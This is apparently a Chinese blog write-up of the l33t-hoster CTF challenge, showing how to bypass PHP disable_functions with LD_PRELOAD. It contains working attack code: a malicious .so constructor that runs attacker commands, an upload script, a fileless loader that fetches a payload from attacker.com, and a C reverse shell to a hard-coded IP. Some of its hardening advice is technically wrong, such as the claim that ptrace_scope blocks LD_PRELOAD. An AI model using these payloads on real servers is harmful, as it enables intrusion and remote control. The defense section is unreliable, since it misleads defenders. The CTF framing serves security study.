LD_PRELOAD 绕过 PHP disable_functions 实战:l33t-hoster CTF 题 3 步获取 flag
2026/7/8 4:03:28 网站建设 项目流程

LD_PRELOAD 技术实战:从原理到 PHP disable_functions 绕过

1. 动态链接与 LD_PRELOAD 机制解析

在 Linux 系统中,动态链接器负责在程序运行时加载所需的共享库。当程序调用某个函数时,系统会按照特定顺序搜索这些库以找到对应的函数实现。LD_PRELOAD 环境变量允许我们在其他库之前加载自定义的共享库,从而实现对系统函数的"覆盖"。

动态链接库加载的典型优先级顺序为:

  1. LD_PRELOAD 指定的库
  2. LD_LIBRARY_PATH 指定的目录中的库
  3. /etc/ld.so.cache 中缓存的库
  4. 默认系统库路径(/lib、/usr/lib等)

这种机制最初设计用于调试和性能优化,但安全研究人员很快发现它可以用于更广泛的场景。例如:

// 示例:简单的 LD_PRELOAD 劫持 #include <stdio.h> #include <unistd.h> uid_t getuid(void) { printf("Hooked getuid() called!\n"); return 0; }

编译为共享库后,通过LD_PRELOAD=./hack.so program运行,任何调用 getuid() 的程序都会执行我们的自定义版本。

2. PHP disable_functions 限制与突破思路

PHP 的 disable_functions 配置项用于禁用可能危险的函数,常见被禁用的包括:

  • system(),exec(),shell_exec()等命令执行函数
  • passthru(),proc_open(),pcntl_exec()等进程控制函数
  • dl()等动态加载函数

当这些函数被禁用时,传统的命令执行方法失效。但 LD_PRELOAD 提供了一种间接执行系统命令的途径:

  1. 找到一个仍可用的 PHP 函数,它能启动外部进程
  2. 通过该函数触发 LD_PRELOAD 加载我们的恶意库
  3. 在库的初始化代码中执行任意命令

常见的可用函数包括:

  • mail():内部会调用 /usr/sbin/sendmail
  • imap_open():可能调用外部处理程序
  • error_log():与 mail() 类似

3. 实战:l33t-hoster CTF 题解

3.1 环境侦察与初始访问

首先通过文件上传漏洞获取 webshell 访问权限。使用蚁剑连接后发现关键限制:

// 模拟的 disable_functions 配置 disable_functions = "system,exec,shell_exec,passthru,proc_open,pcntl_exec,dl"

尝试直接读取/flag失败,发现需要通过执行/get_flag程序获取 flag。

3.2 准备 bypass_disablefunc 工具

使用现成的 bypass_disablefunc 工具包,主要包含:

  • bypass_disablefunc.php:Web 接口
  • bypass_disablefunc_x64.so:恶意共享库(64位)

文件上传方法(Python示例):

import requests url = "http://target/upload.php" files = { 'file': ('bypass_disablefunc.php', open('bypass_disablefunc.php', 'rb')) } data = { 'action': 'move_uploaded_file($_FILES["file"]["tmp_name"], "/var/www/html/bypass.php")' } r = requests.post(url, files=files, data=data) print(r.text)

3.3 绕过执行限制

上传成功后,通过以下方式调用:

/bypass.php?cmd=/get_flag&outpath=/tmp/output&sopath=/var/www/html/bypass_disablefunc_x64.so

参数说明:

  • cmd:要执行的命令
  • outpath:命令输出保存路径
  • sopath:恶意 so 文件路径

3.4 处理交互式挑战

发现/get_flag需要解答 CAPTCHA,使用 Perl 脚本处理:

#!/usr/bin/perl use IPC::Open2; $| = 1; my $pid = open2(\*OUT, \*IN, '/get_flag'); my $question = <OUT>; my $answer = eval($question); print IN "$answer\n"; print <OUT>;

上传并最终执行:

/bypass.php?cmd=perl+/var/www/html/solve.pl&outpath=/tmp/out&sopath=/var/www/html/bypass_disablefunc_x64.so

4. 技术原理深度分析

4.1 bypass_disablefunc 工作流程

  1. PHP 脚本设置EVIL_CMDLINE环境变量包含要执行的命令
  2. 设置LD_PRELOAD指向恶意 so 文件
  3. 调用mail()触发 sendmail 进程启动
  4. sendmail 加载我们的 so 文件,执行构造函数代码

关键 so 文件代码:

__attribute__ ((__constructor__)) void preload() { unsetenv("LD_PRELOAD"); system(getenv("EVIL_CMDLINE")); }

4.2 为什么 mail() 能触发

strace跟踪显示 mail() 的执行路径:

execve("/usr/bin/php", ["php", "test.php"], 0x7ffd689f9f80 /* 23 vars */) ... execve("/usr/sbin/sendmail", ["/usr/sbin/sendmail", "-t", "-i"], 0x55a9b4c622e0 /* 23 vars */)

正是这个 execve() 调用使得 LD_PRELOAD 生效。

5. 防御与检测方案

5.1 系统级防护

  1. 限制危险环境变量:

    # /etc/sudoers 示例 Defaults env_reset Defaults env_keep -= "LD_PRELOAD"
  2. 使用内核安全模块:

    # 防止非特权用户使用 LD_PRELOAD sysctl -w kernel.yama.ptrace_scope=2
  3. 文件系统防护:

    # 限制 Web 目录执行权限 chattr +i /var/www/html/uploads/

5.2 PHP 配置加固

  1. 禁用危险函数:

    disable_functions = "putenv,mail,error_log,imap_open,dl"
  2. 限制 PHP 执行权限:

    open_basedir = "/var/www/html:/tmp"
  3. 使用 PHP-FPM 池隔离:

    ; php-fpm.conf [www] listen.owner = www-data listen.group = www-data listen.mode = 0660

6. 高级技巧与变种

6.1 无文件攻击技术

通过内存加载 so 文件避免上传:

$so_content = file_get_contents("http://attacker.com/malicious.so"); file_put_contents("/proc/self/fd/3", $so_content); putenv("LD_PRELOAD=/proc/self/fd/3"); mail("","","","");

6.2 替代触发函数

当 mail() 被禁用时,可尝试:

// 方法1:使用 error_log putenv("LD_PRELOAD=./evil.so"); error_log("", 1, ""); // 方法2:使用 ImageMagick putenv("LD_PRELOAD=./evil.so"); new Imagick('input.jpg');

6.3 隐蔽通信技术

在 so 文件中实现反向 shell:

void _init() { int sock = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port = htons(443), .sin_addr.s_addr = inet_addr("192.168.1.100") }; connect(sock, (struct sockaddr*)&addr, sizeof(addr)); dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); execve("/bin/sh", NULL, NULL); }

7. 总结与思考

LD_PRELOAD 技术展示了 Linux 动态链接系统的灵活性,也暴露了安全边界的重要性。防御这类攻击需要多层防护:

  1. 最小权限原则:Web 用户应具有尽可能少的权限
  2. 深度防御:结合系统加固、应用配置和安全监控
  3. 及时更新:修复已知漏洞,减少攻击面

对于 CTF 选手和安全研究人员,理解这些底层机制不仅能解决比赛挑战,更能深入理解系统安全原理。建议进一步研究:

  • ELF 文件格式与动态链接过程
  • Linux 进程创建与权限模型
  • 现代 Web 应用沙箱技术

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询